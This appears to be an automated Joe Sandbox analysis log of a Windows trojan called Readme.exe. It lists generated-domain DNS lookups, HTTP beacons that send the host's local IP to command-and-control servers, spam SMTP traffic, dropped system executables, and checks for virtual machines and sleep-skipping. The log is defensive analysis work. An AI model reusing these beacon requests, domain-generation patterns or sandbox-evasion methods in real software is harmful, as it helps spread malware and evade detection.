Source: unknown	DNS traffic detected: query: hharwnqhha.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsqpspspqn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqsepprwmh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwspmnannr.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrmhwrwwmn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwhnpqrmrn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqpeaenphs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hpswpmhqah.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmamsmwhar.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmrqmemawa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rwmswamheh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqqnpaehma.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsepnwpmna.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsanasnrar.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqeaqsqpsr.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mswapwrnan.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msqhqapmsh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mpnssapaws.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wmamewnnea.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwaprrwnwa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mhhpmrwmma.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wphqaqwenn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msarphnewh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pnaqheqnsa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqpppnhaes.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msqepwamwn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wpraeqahma.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hanawnqnwn.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smprehnwhs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rqeaqeewas.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhwwheearh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smqnsaanqs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnaampsmna.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nmerqanann.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rnrmmnpnpn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shprahaqrh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aeaqppqhqs.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: meseewppah.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sanpspmrsn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnrnwnwaas.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rsmwassewn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqepwsanpn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smwrehrsph.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqnqqqrpmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wharrewhpn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeraempash.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhnhqesmnn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sphpehqmsh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rphpaspqar.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mhaewrqnps.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqpaamhwrs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pehprrmnns.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nmeearrrmn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwhnrpesma.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqshhpemrn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrmwehwwsn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnhwpqaans.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: resrnrrmnn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhamrnqsps.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ahqphrrmea.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smspppawmn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hswwqmmseh.net replaycode: Name error (3)

Source: Joe Sandbox View

ASN Name: PLI-ASCH PLI-ASCH

Source: Joe Sandbox View

IP Address: 81.17.29.150 81.17.29.150

Source: unknown

Network traffic detected: DNS query count 320

Source: global traffic	TCP traffic: 192.168.2.5:49695 -> 85.187.148.2:25
Source: global traffic	TCP traffic: 192.168.2.5:49700 -> 104.47.59.138:25
Source: global traffic	TCP traffic: 192.168.2.5:49703 -> 142.250.147.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49706 -> 209.51.188.92:25
Source: global traffic	TCP traffic: 192.168.2.5:49722 -> 142.250.153.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 142.251.5.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49751 -> 74.125.200.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49753 -> 217.69.139.150:25
Source: global traffic	TCP traffic: 192.168.2.5:49754 -> 198.252.153.129:25
Source: global traffic	TCP traffic: 192.168.2.5:49771 -> 74.125.140.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49775 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49812 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49816 -> 142.250.150.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49817 -> 142.250.147.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49819 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49825 -> 142.250.141.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49828 -> 64.233.167.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49833 -> 173.194.202.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49843 -> 74.125.140.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49851 -> 94.100.180.31:25
Source: global traffic	TCP traffic: 192.168.2.5:49856 -> 104.47.55.138:25
Source: global traffic	TCP traffic: 192.168.2.5:49876 -> 142.250.153.26:25
Source: global traffic	TCP traffic: 192.168.2.5:49878 -> 173.194.76.27:25
Source: global traffic	TCP traffic: 192.168.2.5:49911 -> 104.47.66.10:25
Source: global traffic	TCP traffic: 192.168.2.5:49984 -> 142.250.157.27:25
Source: global traffic	TCP traffic: 192.168.2.5:50042 -> 74.125.133.27:25

Source: smnss.exe, 00000001.00000000.530226920.000000000061C000.00000004.00000010.00020000.00000000.sdmp, smnss.exe, 00000001.00000002.539910360.000000000061C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://parking.bodiscdn.com
Source: smnss.exe, 00000001.00000000.530226920.000000000061C000.00000004.00000010.00020000.00000000.sdmp, smnss.exe, 00000001.00000002.539910360.000000000061C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com

Source: unknown

DNS traffic detected: queries for: qamaahmnen.info

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00401C2C memset,memset,_mbscat,_mbscat,_mbscat,_mbscat,_mbscat,_mbscat,Sleep,send,recv,strtok,strtok,closesocket,atoi,atoi,memset,lstrlen,lstrcmp,lstrcmp,

0_2_00401C2C

Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: qamaahmnen.infoUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ehqapshmqs.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: emnhnawmen.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eqrrmhhwhh.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eqsnewshhn.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: emrmmpsarh.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: wpqqhhspps.inUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aewrhprres.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: asnrrsamsa.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aanparshnh.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aharwhphnh.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: rsrsemnren.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: empewsqsqa.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: reaaheeara.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: rrhaerswna.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aaawpshran.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ennmqsmqna.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ehrawpsrms.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: awhhsqness.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eqprsrnprs.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aaesrmawah.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eqnhphnqms.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: erphseshhh.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: emhmmwaasa.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: eshmhnprpa.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: rrnpamehwa.orgUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ehnwnaqnss.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: aspamphaqh.comUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: emqewenpsh.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ersaenrnwh.wsUser-Agent: explwer
Source: global traffic	HTTP traffic detected: GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1Host: ansenhrann.comUser-Agent: explwer

Source: smnss.exe, 00000001.00000000.530369399.0000000000938000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 27

System Summary

PE file has nameless sections

Source: Readme.exe	Static PE information: section name:
Source: grcopy.dll.0.dr	Static PE information: section name:
Source: smnss.exe.0.dr	Static PE information: section name:

Source: Readme.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Windows\SysWOW64\smnss.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5492 -s 2960

Source: C:\Users\user\Desktop\Readme.exe

File created: C:\Windows\SysWOW64\ctfmen.exe

Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00408054	0_2_00408054
Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00408B60	0_2_00408B60
Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_1000A000	0_2_1000A000
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00408054	1_2_00408054
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00408B60	1_2_00408B60

Source: C:\Windows\SysWOW64\smnss.exe	Code function: String function: 00404C38 appears 47 times
Source: C:\Users\user\Desktop\Readme.exe	Code function: String function: 00404C38 appears 47 times

Source: Readme.exe

ReversingLabs: Detection: 87%

Source: C:\Users\user\Desktop\Readme.exe

File read: C:\Users\user\Desktop\Readme.exe

Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Readme.exe C:\Users\user\Desktop\Readme.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\ctfmen.exe ctfmen.exe
Source: C:\Windows\SysWOW64\ctfmen.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5492 -s 2960
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Process created: C:\Windows\SysWOW64\ctfmen.exe ctfmen.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ctfmen.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00404DF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,		0_2_00404DF4
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00404DF4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,		1_2_00404DF4

Source: C:\Windows\SysWOW64\smnss.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERA42.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@22/13@557/38

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00404D3A CreateToolhelp32Snapshot,Process32First,strcmp,OpenProcess,TerminateProcess,Process32Next,

0_2_00404D3A

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5492
Source: C:\Users\user\Desktop\Readme.exe	Mutant created: \Sessions\1\BaseNamedObjects\x_socks5aan
Source: C:\Windows\SysWOW64\smnss.exe	Mutant created: \Sessions\1\BaseNamedObjects\VULnaShvolna

Source: C:\Windows\SysWOW64\smnss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Windows\SysWOW64\ctfmen.exe

Unpacked PE file: 9.2.ctfmen.exe.400000.0.unpack 5356dabo:EW;5x7efkmb:W;5j28hxox:W; vs 5356dabo:ER;5x7efkmb:R;5j28hxox:W;

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_1000AAD4 push edi; iretd	0_2_1000AAD7
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 9_2_0040734E push dword ptr [ecx+ebp-5Dh]; ret	9_2_00407355
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 9_2_00408202 push edx; ret	9_2_0040820D

Source: Readme.exe	Static PE information: section name: 7308zxye
Source: Readme.exe	Static PE information: section name: 7b62clda
Source: Readme.exe	Static PE information: section name: 741wtwsm
Source: Readme.exe	Static PE information: section name:
Source: ctfmen.exe.0.dr	Static PE information: section name: 5356dabo
Source: ctfmen.exe.0.dr	Static PE information: section name: 5x7efkmb
Source: ctfmen.exe.0.dr	Static PE information: section name: 5j28hxox
Source: shervans.dll.0.dr	Static PE information: section name: 5z90fcel
Source: shervans.dll.0.dr	Static PE information: section name: 543wcamk
Source: shervans.dll.0.dr	Static PE information: section name: b47axeoq
Source: grcopy.dll.0.dr	Static PE information: section name: 5c6ayarg
Source: grcopy.dll.0.dr	Static PE information: section name: 5b08dehf
Source: grcopy.dll.0.dr	Static PE information: section name: 5a51agoe
Source: grcopy.dll.0.dr	Static PE information: section name:
Source: smnss.exe.0.dr	Static PE information: section name: 5c6ayarg
Source: smnss.exe.0.dr	Static PE information: section name: 5b08dehf
Source: smnss.exe.0.dr	Static PE information: section name: 5a51agoe
Source: smnss.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\Readme.exe

Code function: 0_2_00406E1C LoadLibraryA,GetProcAddress,FreeLibrary,DeleteFileA,Sleep,

0_2_00406E1C

Source: initial sample

Static PE information: section where entry point is pointing to: 7b62clda

Source: initial sample

Static PE information: section name: 543wcamk entropy: 7.547400585476299

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\Readme.exe	Executable created and started: C:\Windows\SysWOW64\ctfmen.exe			Jump to behavior
Source: C:\Windows\SysWOW64\ctfmen.exe	Executable created and started: C:\Windows\SysWOW64\smnss.exe			Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\shervans.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\ctfmen.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\smnss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\grcopy.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\shervans.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\ctfmen.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\smnss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Readme.exe	File created: C:\Windows\SysWOW64\grcopy.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\smnss.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_1-3882
Source: C:\Users\user\Desktop\Readme.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_0-4588

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\Readme.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-4370

Contain functionality to detect virtual machines

Source: C:\Users\user\Desktop\Readme.exe	Code function: vmware qemu qemu vbox		0_2_00404990
Source: C:\Windows\SysWOW64\smnss.exe	Code function: vmware qemu qemu vbox		1_2_00404990

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00406BEA		0_2_00406BEA
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00406BEA		1_2_00406BEA

Source: C:\Windows\SysWOW64\smnss.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-4357

Source: C:\Users\user\Desktop\Readme.exe TID: 5480	Thread sleep time: -84000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe TID: 5484	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe TID: 5484	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe TID: 5712	Thread sleep count: 58 > 30	Jump to behavior

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_0040814C GetSystemTime followed by cmp: cmp ax, 0010h and CTI: jbe 00408174h	0_2_0040814C
Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_0040814C GetSystemTime followed by cmp: cmp ax, 000bh and CTI: jbe 00408185h	0_2_0040814C
Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_0040814C GetSystemTime followed by cmp: cmp ax, 001eh and CTI: jbe 00408196h	0_2_0040814C
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_0040814C GetSystemTime followed by cmp: cmp ax, 0010h and CTI: jbe 00408174h	1_2_0040814C
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_0040814C GetSystemTime followed by cmp: cmp ax, 000bh and CTI: jbe 00408185h	1_2_0040814C
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_0040814C GetSystemTime followed by cmp: cmp ax, 001eh and CTI: jbe 00408196h	1_2_0040814C

Source: C:\Users\user\Desktop\Readme.exe	Thread delayed: delay time: 480000			Jump to behavior
Source: C:\Users\user\Desktop\Readme.exe	Thread delayed: delay time: 480000			Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum name: 0

Jump to behavior

Source: C:\Windows\SysWOW64\smnss.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess			graph_1-3910
Source: C:\Users\user\Desktop\Readme.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess			graph_0-4616

Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00406BEA		1_2_00406BEA
Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00406BEA		0_2_00406BEA

